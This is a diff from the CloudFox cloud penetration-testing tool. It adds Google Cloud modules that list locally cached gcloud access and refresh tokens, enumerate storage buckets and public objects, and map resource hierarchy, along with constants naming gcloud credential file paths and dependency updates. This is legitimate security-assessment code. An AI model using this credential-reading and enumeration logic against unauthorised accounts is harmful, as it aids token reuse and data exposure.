if (strings.Contains(accessToken.AccountID, "@")) {
tokentype = "User"
} else {
tokentype = "Application"
}
// is there an associated refres htoken ?
var refreshtokeninfo string
refreshtokeninfo = "No"
for _, refreshtoken := range tokens {
if (accessToken.AccountID == refreshtoken.Email) {
refreshtokeninfo = "Yes"
} else if (accessToken.AccountID == applicationdefaulthash) {
refreshtokeninfo = "Yes"
emailinfo = color.RedString(emailinfo)
}
}
// is there a proof of reauthentication to use the refresh
// token ? If not, password is needed
var raptinfo string
if refreshtokeninfo == "No" {
raptinfo = "-"
} else if accessToken.RaptToken.Valid {
raptinfo = "No"
} else {
if (tokentype == "Application") {
raptinfo = "TBD"
} else {
raptinfo = "Yes"
}
}
tableBody = append(
tableBody,
[]string{
emailinfo,
tokentype,
timeinfo,
refreshtokeninfo,
raptinfo,
})
}
internal.PrintTableToScreen(tableHead, tableBody, false)
return nil
}
+134
View File
@@ -0,0 +1,134 @@
package gcp
import (
"context"
"log"
"fmt"
"sort"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/internal"
"google.golang.org/api/option"
"cloud.google.com/go/storage"
"google.golang.org/api/iterator"
)
var (
GCPLogger = internal.NewLogger()
)
type BucketsModule struct {
Client gcp.GCPClient
StorageClient *storage.Client
// Filtering data
Organizations []string
Folders []string
Projects []string
}
type ObjectInfo struct {
ObjectName string `json:"objecttName"`
ObjectSizeBytes float64 `json:"objectSizeBytes"`
IsPublic bool `json:"isPublic"`
}
type BucketInfo struct {
BucketName string `json:"bucketName"`
BucketSizeMB float64 `json:"bucketSizeMB"`
Objects []ObjectInfo `json:"objectInfo"`
}
func (m *BucketsModule) ListBuckets(projects []string) error {
// retrieve all resource and do filtering
m.Client.GetResourcesRoots(m.Organizations, m.Folders, m.Projects)
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP buckets with account %s...", m.Client.Name), globals.GCP_BUCKETS_MODULE_NAME)
ctx := context.Background()
var err error
m.StorageClient, err = storage.NewClient(ctx, option.WithHTTPClient(m.Client.HTTPClient))
if err != nil {
GCPLogger.ErrorM("Could not create GCP storage client...", globals.GCP_BUCKETS_MODULE_NAME)
return err
}
if len(projects) > 0 {
for _, project := range projects {
m.ListBucketsInProject(project)
}
} else {
for _, project := range m.Client.Projects {
m.ListBucketsInProject(project)
}
}
return nil
}
func (m *BucketsModule) ListBucketsInProject(project string) error {
bucketInfos := make(map[string][]BucketInfo)
ctx := context.Background()
GCPLogger.InfoM(fmt.Sprintf("Iterating through project %s...", project), globals.GCP_BUCKETS_MODULE_NAME)
buckets := m.StorageClient.Buckets(ctx, project)
for {
bucketAttrs, err := buckets.Next()
if err == iterator.Done {
break
}
if err != nil {
GCPLogger.ErrorM(fmt.Sprintf("Failed to list buckets : %v", err), globals.GCP_BUCKETS_MODULE_NAME)
return err
}
bucketName := bucketAttrs.Name
GCPLogger.InfoM(fmt.Sprintf("Enumerating bucket %s...", bucketName), globals.GCP_BUCKETS_MODULE_NAME)
// List all objects in the bucket and calculate total size
totalSize := int64(0)
var objects []ObjectInfo
it := m.StorageClient.Bucket(bucketName).Objects(ctx, nil)
for {
objectAttrs, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
log.Fatalf("Failed to list objects: %v", err)
GCPLogger.ErrorM(fmt.Sprintf("Failed to list objects : %v", err), globals.GCP_BUCKETS_MODULE_NAME)
break
}
// Get size
objectSize := objectAttrs.Size
totalSize += objectSize
// Check if public
isPublic := false
for _, rule := range objectAttrs.ACL {
if rule.Entity == storage.AllUsers {
isPublic = true
break
}
}
objects = append(objects, ObjectInfo{ObjectName: objectAttrs.Name, ObjectSizeBytes: float64(objectSize), IsPublic: isPublic})
if totalSize > 3221225472 { // 3 GiB in bytes
GCPLogger.InfoM(fmt.Sprintf("%s bucket is over 3 GiB. Skipping remaining objects in this bucket...", bucketName), globals.GCP_BUCKETS_MODULE_NAME)
break
}
}
bucketSizeMB := float64(totalSize) / 1024 / 1024
bucketInfos[project] = append(bucketInfos[project], BucketInfo{BucketName: bucketName, BucketSizeMB: bucketSizeMB, Objects: objects})
}
log.Printf("Sorting resulting list of buckets in descending order %s", project)
sort.Slice(bucketInfos[project], func(i, j int) bool {
return bucketInfos[project][i].BucketSizeMB > bucketInfos[project][j].BucketSizeMB
})
log.Printf("Done with project %s", project)
return nil
}
+38
View File
@@ -0,0 +1,38 @@
package gcp
import (
"fmt"
"github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/globals"
// tree stuff
"github.com/shivamMg/ppds/tree"
)
type HierarchyModule struct {
Client gcp.GCPClient
// Filtering data
Organizations []string
Folders []string
Projects []string
}
func (m *HierarchyModule) DisplayHierarchy(format string) error {
GCPLogger.InfoM(fmt.Sprintf("Fetching GCP resources and hierarchy with account %s...", m.Client.Name), globals.GCP_HIERARCHY_MODULE_NAME)
var roots = m.Client.GetResourcesRoots(m.Organizations, m.Folders, m.Projects)
for _, root := range roots {
if (format == "horizontal") {
tree.PrintHr(root)
} else if (format == "vertical") {
tree.Print(root)
} else {
GCPLogger.ErrorM(fmt.Sprintf("Unknown tree format '%s'", format), globals.GCP_HIERARCHY_MODULE_NAME)
}
}
return nil
}
+30
View File
@@ -0,0 +1,30 @@
package gcp
import (
"fmt"
"github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/globals"
)
type InventoryModule struct {
Client gcp.GCPClient
// Filtering data
Organizations []string
Folders []string
Projects []string
}
func (m *InventoryModule) PrintInventory(outputFormat string, outputDirectory string, verbosity int) error {
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP resources with account %s...", m.Client.Name), globals.GCP_INVENTORY_MODULE_NAME)
for _, project := range m.Projects {
searchAllResponse, err := m.Client.ResourcesService.SearchAll(fmt.Sprintf("projects/%s", project)).Do()
if (err != nil) {
GCPLogger.ErrorM(fmt.Sprintf("Could not list resource within scope: %v", err), globals.GCP_INVENTORY_MODULE_NAME)
continue
}
for _, resource := range searchAllResponse.Results {
fmt.Printf("%s - %s\n", resource.DisplayName, resource.AssetType)
}
}
return nil
}
+1 -1
View File
@@ -17,7 +17,7 @@ var AAD_USERS_TEST_FILE string
// Module names
const AZ_WHOAMI_MODULE_NAME = "whoami"
const AZ_INTERACTIVE_MENU_MODULE_NAME = "interactive-menu"
const AZ_INVENTORY_MODULE_NAME = "inventory"
const AZ_INSTANCES_MODULE_NAME = "instances"
const AZ_RBAC_MODULE_NAME = "rbac"
const AZ_STORAGE_MODULE_NAME = "storage"
+12
View File
@@ -0,0 +1,12 @@
package globals
// Module names
const GCP_WHOAMI_MODULE_NAME = "whoami"
const GCP_HIERARCHY_MODULE_NAME = "hierarchy"
const GCP_INVENTORY_MODULE_NAME = "inventory"
const GCP_ACCESSTOKENS_MODULE_NAME = "access-tokens"
const GCP_BUCKETS_MODULE_NAME = "buckets"
const GCP_GCLOUD_REFRESH_TOKENS_DB_PATH = ".config/gcloud/credentials.db"
const GCP_GCLOUD_ACCESS_TOKENS_DB_PATH = ".config/gcloud/access_tokens.db"
const GCP_GCLOUD_DEFAULT_CONFIG_PATH = ".config/gcloud/configurations/config_default"
const GCP_GCLOUD_APPLICATION_DEFAULT_PATH = ".config/gcloud/application_default_credentials.json"
+3 -1
View File
@@ -2,4 +2,6 @@ package globals
const CLOUDFOX_USER_AGENT = "cloudfox"
const CLOUDFOX_LOG_FILE_DIR_NAME = ".cloudfox"
const CLOUDFOX_BASE_DIRECTORY = "cloudfox-output"
const CLOUDFOX_BASE_DIRECTORY = ".cloudfox/cloudfox-output"
const LOOT_DIRECTORY_NAME = "loot"
const CLOUDFOX_VERSION = "1.11.2"
+133 -74
View File
@@ -1,101 +1,160 @@
module github.com/BishopFox/cloudfox
go 1.18
go 1.20
require (
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible
github.com/Azure/go-autorest/autorest v0.11.28
github.com/Azure/go-autorest/autorest/azure/auth v0.5.11
cloud.google.com/go/resourcemanager v1.7.0
cloud.google.com/go/storage v1.28.1
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0
github.com/Azure/go-autorest/autorest v0.11.29
github.com/Azure/go-autorest/autorest/azure/auth v0.5.12
github.com/aquasecurity/table v1.8.0
github.com/aws/aws-sdk-go-v2 v1.17.1
github.com/aws/aws-sdk-go-v2/config v1.18.3
github.com/aws/aws-sdk-go-v2/service/apigateway v1.15.25
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.12.23
github.com/aws/aws-sdk-go-v2/service/apprunner v1.15.0
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.24.1
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.21.0
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.20.3
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.17.7
github.com/aws/aws-sdk-go-v2/service/ec2 v1.72.1
github.com/aws/aws-sdk-go-v2/service/ecr v1.17.23
github.com/aws/aws-sdk-go-v2/service/ecs v1.20.0
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5
github.com/aws/smithy-go v1.13.4
github.com/bishopfox/awsservicemap v1.0.0
github.com/dominikbraun/graph v0.15.0
github.com/fatih/color v1.13.0
github.com/aws/aws-sdk-go-v2 v1.18.0
github.com/aws/aws-sdk-go-v2/config v1.18.25
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13
github.com/aws/aws-sdk-go-v2/service/glue v1.50.0
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4
github.com/aws/aws-sdk-go-v2/service/sts v1.19.0
github.com/aws/smithy-go v1.13.5
github.com/bishopfox/awsservicemap v1.0.2
github.com/dominikbraun/graph v0.22.2
github.com/fatih/color v1.15.0
github.com/jedib0t/go-pretty v4.3.0+incompatible
github.com/kyokomi/emoji v2.2.4+incompatible
github.com/sirupsen/logrus v1.9.0
github.com/spf13/afero v1.9.3
github.com/spf13/cobra v1.6.1
golang.org/x/crypto v0.3.0
github.com/patrickmn/go-cache v2.1.0+incompatible
github.com/shivamMg/ppds v0.0.1
github.com/sirupsen/logrus v1.9.3
github.com/spf13/afero v1.9.5
github.com/spf13/cobra v1.7.0
golang.org/x/crypto v0.9.0
golang.org/x/oauth2 v0.8.0
google.golang.org/api v0.127.0
gopkg.in/ini.v1 v1.67.0
modernc.org/sqlite v1.23.1
)
require (
cloud.google.com/go v0.110.0 // indirect
cloud.google.com/go/compute v1.19.3 // indirect
cloud.google.com/go/compute/metadata v0.2.3 // indirect
cloud.google.com/go/iam v0.13.0 // indirect
cloud.google.com/go/longrunning v0.4.1 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/google/s2a-go v0.1.4 // indirect
github.com/googleapis/enterprise-certificate-proxy v0.2.4 // indirect
github.com/googleapis/gax-go/v2 v2.10.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-sqlite3 v1.14.17 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
go.opencensus.io v0.24.0 // indirect
golang.org/x/mod v0.10.0 // indirect
golang.org/x/tools v0.9.1 // indirect
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 // indirect
google.golang.org/appengine v1.6.7 // indirect
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect
google.golang.org/grpc v1.55.0 // indirect
google.golang.org/protobuf v1.30.0 // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13 // indirect
modernc.org/libc v1.22.5 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.5.0 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
)
require (
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1 // indirect
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 // indirect
github.com/Azure/go-autorest v14.2.0+incompatible // indirect
github.com/Azure/go-autorest/autorest/adal v0.9.21 // indirect
github.com/Azure/go-autorest/autorest/adal v0.9.23 // indirect
github.com/Azure/go-autorest/autorest/azure/cli v0.4.6 // indirect
github.com/Azure/go-autorest/autorest/date v0.3.0 // indirect
github.com/Azure/go-autorest/autorest/to v0.4.0 // indirect
github.com/Azure/go-autorest/autorest/validation v0.3.1 // indirect
github.com/Azure/go-autorest/logger v0.2.1 // indirect
github.com/Azure/go-autorest/tracing v0.6.0 // indirect
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d // indirect
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 // indirect
github.com/aws/aws-sdk-go-v2/credentials v1.13.3 // indirect
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 // indirect
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 // indirect
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 // indirect
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 // indirect
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19 // indirect
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25 // indirect
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8 // indirect
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 // indirect
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 // indirect
github.com/aws/aws-sdk-go-v2/credentials v1.13.24 // indirect
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3 // indirect
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33 // indirect
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27 // indirect
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34 // indirect
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25 // indirect
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2 // indirect
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10 // indirect
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10 // indirect
github.com/dimchansky/utfbom v1.1.1 // indirect
github.com/go-openapi/errors v0.20.3 // indirect
github.com/go-openapi/strfmt v0.21.3 // indirect
github.com/golang-jwt/jwt/v4 v4.4.2 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
github.com/go-openapi/strfmt v0.21.7 // indirect
github.com/golang-jwt/jwt/v4 v4.5.0 // indirect
github.com/google/uuid v1.3.0 // indirect
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/jmespath/go-jmespath v0.4.0 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.16 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mitchellh/go-homedir v1.1.0 // indirect
github.com/mitchellh/mapstructure v1.5.0 // indirect
github.com/oklog/ulid v1.3.1 // indirect
github.com/rivo/uniseg v0.4.3 // indirect
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 // indirect
github.com/rivo/uniseg v0.4.4 // indirect
github.com/spf13/pflag v1.0.5 // indirect
go.mongodb.org/mongo-driver v1.11.0 // indirect
golang.org/x/sys v0.2.0 // indirect
golang.org/x/term v0.2.0 // indirect
golang.org/x/text v0.4.0 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
go.mongodb.org/mongo-driver v1.11.7 // indirect
golang.org/x/net v0.10.0 // indirect
golang.org/x/sys v0.8.0 // indirect
golang.org/x/term v0.8.0 // indirect
golang.org/x/text v0.9.0 // indirect
)
+314 -159
View File
@@ -17,37 +17,64 @@ cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHOb
cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY=
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/compute v1.19.3 h1:DcTwsFgGev/wV5+q8o2fzgcHOaac+DKGC91ZlvpsQds=
cloud.google.com/go/compute v1.19.3/go.mod h1:qxvISKp/gYnXkSAD1ppcSOveRAmzxicEv/JlizULFrI=
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/iam v0.13.0 h1:+CmB+K0J/33d0zSQ9SlFWUeCCEn5XJA0ZMZ3pHE9u8k=
cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0=
cloud.google.com/go/longrunning v0.4.1 h1:v+yFJOfKC3yZdY6ZUI933pIYdhyhV8S3NpWrXWmg7jM=
cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
cloud.google.com/go/resourcemanager v1.7.0 h1:NRM0p+RJkaQF9Ee9JMnUV9BQ2QBIOq/v8M+Pbv/wmCs=
cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo=
cloud.google.com/go/storage v1.28.1 h1:F5QDG5ChchaAVQhINh24U99OWHURqrW8OmQcGKXcbgI=
cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible h1:oziYcaopbnIKfM69DL05wXdypiqfrUKdxUKrKpynJTw=
github.com/Azure/azure-sdk-for-go v67.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible h1:fcYLmCpyNYRnvJbPerq7U0hS+6+I79yEDJBqVNcqUzU=
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1 h1:SEy2xmstIphdPwNBUi7uhvjyjhVKISfwjfOJmuy7kg4=
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q=
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0 h1:vcYCAze6p19qBW7MhZybIsqD8sMV8js0NyQM8JDnVtg=
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0/go.mod h1:OQeznEEkTZ9OrhHJoDD8ZDq51FHgXjqtP9z6bEwBq9U=
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 h1:sXr+ck84g/ZlZUOZiNELInmMgOsuGwdjjVkEIde0OtY=
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.1.2 h1:mLY+pNLjCUeKhgnAJWAKhEUQM+RJQo2H1fuGSw1Ky1E=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0 h1:pPvTJ1dY0sA35JOeFq6TsY2xj6Z85Yo23Pj4wCCvu4o=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1 h1:7CBQ+Ei8SP2c6ydQTGCCrS35bDxgTMfoP2miAwK++OU=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.1.1/go.mod h1:c/wcGeGx5FUPbM/JltUYHZcKmigwyVLJlDq+4HdtXaw=
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0 h1:u/LLAOFgsMv7HmNL4Qufg58y+qElGOt5qv0z1mURkRY=
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.0.0/go.mod h1:2e8rMJtl2+2j+HXbTBwnyGpm5Nou7KhvSfxOq8JpTag=
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
github.com/Azure/go-autorest/autorest v0.11.24/go.mod h1:G6kyRlFnTuSbEYkQGawPfsCswgme4iYf6rfSKUDzbCc=
github.com/Azure/go-autorest/autorest v0.11.28 h1:ndAExarwr5Y+GaHE6VCaY1kyS/HwwGGyuimVhWsHOEM=
github.com/Azure/go-autorest/autorest v0.11.28/go.mod h1:MrkzG3Y3AH668QyF9KRk5neJnGgmhQ6krbhR8Q5eMvA=
github.com/Azure/go-autorest/autorest v0.11.29 h1:I4+HL/JDvErx2LjyzaVxllw2lRDB5/BT2Bm4g20iqYw=
github.com/Azure/go-autorest/autorest v0.11.29/go.mod h1:ZtEzC4Jy2JDrZLxvWs8LrBWEBycl1hbT1eknI8MtfAs=
